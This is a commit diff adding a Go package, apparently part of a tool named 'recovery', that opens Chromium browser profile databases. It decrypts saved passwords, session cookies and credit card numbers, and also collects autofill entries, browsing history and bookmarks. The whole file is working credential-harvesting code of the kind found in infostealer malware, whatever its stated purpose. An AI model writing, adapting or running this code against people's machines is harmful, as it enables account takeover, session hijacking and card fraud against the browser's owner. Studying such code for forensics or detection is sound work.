initial commit
This commit is contained in:
@@ -0,0 +1,316 @@
|
||||
package chromium
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/crypto"
|
||||
"recovery/recovery/db"
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
const HistoryLimit = 5000
|
||||
|
||||
func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.PasswordResult {
|
||||
var results []types.PasswordResult
|
||||
|
||||
for _, dbFile := range []string{"Login Data", "Login Data For Account"} {
|
||||
dbPath := filepath.Join(profile.Path, dbFile)
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
continue
|
||||
}
|
||||
d, err := db.OpenDatabase(dbPath, pids)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
rows, err := d.Query("SELECT origin_url, username_value, password_value FROM logins")
|
||||
if err != nil {
|
||||
d.Close()
|
||||
continue
|
||||
}
|
||||
for rows.Next() {
|
||||
var url, username sql.NullString
|
||||
var passwordBlob []byte
|
||||
rows.Scan(&url, &username, &passwordBlob)
|
||||
password := crypto.DecryptChromiumBlob(passwordBlob, keys.V10, keys.V20)
|
||||
if dbFile == "Login Data For Account" && password == "" {
|
||||
continue
|
||||
}
|
||||
if url.String != "" && (username.String != "" || password != "") {
|
||||
results = append(results, types.PasswordResult{
|
||||
URL: url.String,
|
||||
Username: username.String,
|
||||
Password: password,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
rows.Close()
|
||||
d.Close()
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CookieResult {
|
||||
dbPath := filepath.Join(profile.Path, "Network", "Cookies")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
dbPath = filepath.Join(profile.Path, "Cookies")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
d, err := db.OpenDatabase(dbPath, pids)
|
||||
if err != nil {
|
||||
logf("cookie DB open failed for %s (%s): %v", cfg.Name, dbPath, err)
|
||||
return nil
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
rows, err := d.Query("SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value, value FROM cookies")
|
||||
if err != nil {
|
||||
logf("cookie query failed for %s: %v", cfg.Name, err)
|
||||
return nil
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var results []types.CookieResult
|
||||
count := 0
|
||||
for rows.Next() {
|
||||
count++
|
||||
var host, name, path, plainValue sql.NullString
|
||||
var secure, httpOnly sql.NullBool
|
||||
var expiresUTC sql.NullInt64
|
||||
var encryptedValue []byte
|
||||
|
||||
rows.Scan(&host, &name, &path, &secure, &httpOnly, &expiresUTC, &encryptedValue, &plainValue)
|
||||
value := crypto.DecryptChromiumBlob(encryptedValue, keys.V10, keys.V20)
|
||||
if value == "" {
|
||||
value = plainValue.String
|
||||
}
|
||||
results = append(results, types.CookieResult{
|
||||
Host: host.String,
|
||||
Name: name.String,
|
||||
Value: value,
|
||||
Path: path.String,
|
||||
Secure: secure.Bool,
|
||||
HTTPOnly: httpOnly.Bool,
|
||||
ExpiresUTC: expiresUTC.Int64,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
logf("cookie row count for %s: %d", cfg.Name, count)
|
||||
return results
|
||||
}
|
||||
|
||||
func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult {
|
||||
dbPath := filepath.Join(profile.Path, "Web Data")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
return nil
|
||||
}
|
||||
d, err := db.OpenDatabase(dbPath, pids)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
queries := []string{
|
||||
"SELECT name, value, date_created, count FROM autofill",
|
||||
"SELECT name, value, count FROM autofill",
|
||||
"SELECT name, value FROM autofill",
|
||||
}
|
||||
|
||||
var results []types.AutofillResult
|
||||
for _, q := range queries {
|
||||
rows, err := d.Query(q)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for rows.Next() {
|
||||
var name, value sql.NullString
|
||||
var dateCreated, count sql.NullInt64
|
||||
switch len(strings.Split(q, ",")) {
|
||||
case 4:
|
||||
rows.Scan(&name, &value, &dateCreated, &count)
|
||||
case 3:
|
||||
rows.Scan(&name, &value, &count)
|
||||
default:
|
||||
rows.Scan(&name, &value)
|
||||
}
|
||||
if name.String != "" {
|
||||
results = append(results, types.AutofillResult{
|
||||
Name: name.String,
|
||||
Value: value.String,
|
||||
DateCreated: dateCreated.Int64,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
rows.Close()
|
||||
if len(results) > 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.HistoryResult {
|
||||
dbPath := filepath.Join(profile.Path, "History")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
return nil
|
||||
}
|
||||
d, err := db.OpenDatabase(dbPath, pids)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
queries := []string{
|
||||
fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition, v.visit_duration FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit),
|
||||
fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit),
|
||||
}
|
||||
|
||||
var results []types.HistoryResult
|
||||
for _, q := range queries {
|
||||
rows, err := d.Query(q)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for rows.Next() {
|
||||
var url, title sql.NullString
|
||||
var visitTime sql.NullInt64
|
||||
var transition, duration sql.NullInt64
|
||||
|
||||
if strings.Contains(q, "visit_duration") {
|
||||
rows.Scan(&url, &title, &visitTime, &transition, &duration)
|
||||
} else {
|
||||
rows.Scan(&url, &title, &visitTime, &transition)
|
||||
}
|
||||
|
||||
var visitTimeUnix int64
|
||||
if visitTime.Int64 > 0 {
|
||||
visitTimeUnix = (visitTime.Int64 - 11644473600000000) / 1000000
|
||||
}
|
||||
if url.String != "" {
|
||||
results = append(results, types.HistoryResult{
|
||||
URL: url.String,
|
||||
Title: title.String,
|
||||
VisitTimeUnix: visitTimeUnix,
|
||||
VisitCount: duration.Int64,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
rows.Close()
|
||||
if len(results) > 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult {
|
||||
bookmarkPath := filepath.Join(profile.Path, "Bookmarks")
|
||||
data, err := os.ReadFile(bookmarkPath)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var bookmarkData map[string]interface{}
|
||||
if err := json.Unmarshal(data, &bookmarkData); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var results []types.BookmarkResult
|
||||
if roots, ok := bookmarkData["roots"].(map[string]interface{}); ok {
|
||||
walkBookmarkNode(roots, cfg.Name, profile.Name, &results)
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func walkBookmarkNode(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) {
|
||||
for _, key := range []string{"bookmark_bar", "other", "synced"} {
|
||||
if child, ok := node[key].(map[string]interface{}); ok {
|
||||
walkBookmarkChildren(child, browser, profileName, results)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func walkBookmarkChildren(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) {
|
||||
children, ok := node["children"].([]interface{})
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
for _, c := range children {
|
||||
child, ok := c.(map[string]interface{})
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
switch child["type"] {
|
||||
case "url":
|
||||
name, _ := child["name"].(string)
|
||||
url, _ := child["url"].(string)
|
||||
if url != "" {
|
||||
*results = append(*results, types.BookmarkResult{
|
||||
Name: name,
|
||||
URL: url,
|
||||
Type: "url",
|
||||
Browser: browser,
|
||||
Profile: profileName,
|
||||
})
|
||||
}
|
||||
case "folder":
|
||||
walkBookmarkChildren(child, browser, profileName, results)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func ExtractCreditCards(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CreditCardResult {
|
||||
dbPath := filepath.Join(profile.Path, "Web Data")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
return nil
|
||||
}
|
||||
d, err := db.OpenDatabase(dbPath, pids)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
rows, err := d.Query("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, nickname FROM credit_cards")
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var results []types.CreditCardResult
|
||||
for rows.Next() {
|
||||
var name, nickname sql.NullString
|
||||
var expMonth, expYear sql.NullInt64
|
||||
var encrypted []byte
|
||||
rows.Scan(&name, &expMonth, &expYear, &encrypted, &nickname)
|
||||
|
||||
cardNumber := crypto.DecryptChromiumBlob(encrypted, keys.V10, keys.V20)
|
||||
if name.String != "" || cardNumber != "" {
|
||||
results = append(results, types.CreditCardResult{
|
||||
NameOnCard: name.String,
|
||||
ExpirationMonth: int(expMonth.Int64),
|
||||
ExpirationYear: int(expYear.Int64),
|
||||
CardNumber: cardNumber,
|
||||
Nickname: nickname.String,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package chromium
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[chromium] "+format, args...)
|
||||
}
|
||||
Reference in New Issue
Block a user